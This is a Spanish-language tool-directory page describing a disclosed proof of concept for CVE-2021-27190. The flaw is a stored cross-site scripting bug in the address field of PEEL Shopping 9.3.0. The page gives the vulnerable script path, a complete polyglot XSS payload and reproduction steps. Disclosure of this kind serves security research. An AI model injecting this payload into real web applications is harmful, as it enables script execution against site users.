Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS — Exploit de prueba de concepto que demuestra una vulnerabilidad de secuencias de comandos entre sitios almacenada en el parámetro 'Address' de PEEL Shopping 9.3.0, incluida la carga útil y los pasos de reproducción. | Kitploit
Herramientas/GitHubGitHub/anmolksachan/cve-2021-27190-peel-shopping-cart-9.3.0-stored-xss
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubanmolksachan/cve-2021-27190-peel-shopping-cart-9.3.0-stored-xss

CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS

Exploit de prueba de concepto que demuestra una vulnerabilidad de secuencias de comandos entre sitios almacenada en el parámetro 'Address' de PEEL Shopping 9.3.0, incluida la carga útil y los pasos de reproducción.

Ver Repositorio
331hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-27190 - PEEL Shopping, carrito de compras de comercio electrónico - Vulnerabilidad de Cross-Site Scripting Almacenado en 'Dirección'

Ver el vídeo

Fecha

2021-02-11

Autor del Exploit

Anmol K Sachan

Página del proveedor

https://www.peel.fr/

Enlace del software

https://www.peel.fr/nos-offres-1/peel-shopping-31.html
https://sourceforge.net/projects/peel-shopping/

Enlace del software vulnerable

https://drive.google.com/file/d/1dIwRdaqtEyqUUgxbRqrHiS5WQ10nEG8z/view?usp=sharing

Software: :

PEEL SHOPPING 9.3.0

Tipo de Vulnerabilidad

Cross-Site Scripting Almacenado

Vulnerabilidad

XSS Almacenado

Probado en Windows 10 XAMPP


CVE Asignado

CVE-2021-27190
Esta aplicación es vulnerable a una vulnerabilidad XSS Almacenado.

Script vulnerable

http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php

https://github.com/anmolksachan/CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS/edit/main/README.MD## Parámetros vulnerables 'Dirección'

Payload utilizado

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

POC

https://drive.google.com/file/d/1t1hksDsYqYsqryRq61tNIQQMTCFidtc1/view
En la misma página donde inyectamos el payload, haz clic en el cuadro de texto para editar la dirección.
Verás que tu código JavaScript (XSS) se ejecuta.

Referencias

  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27190
  2. https://packetstormsecurity.com/files/161367/PEEL-Shopping-9.3.0-Cross-Site-Scripting.html
  3. https://www.exploit-db.com/exploits/49553
  4. https://www.secuneus.com/cve-2021-27190-peel-shopping-ecommerce-shopping-cart-stored-cross-site-scripting-vulnerability-in-address/
  5. https://cxsecurity.com/issue/WLB-2021020054
  6. https://nvd.nist.gov/vuln/detail/CVE-2021-27190
Descargar herramienta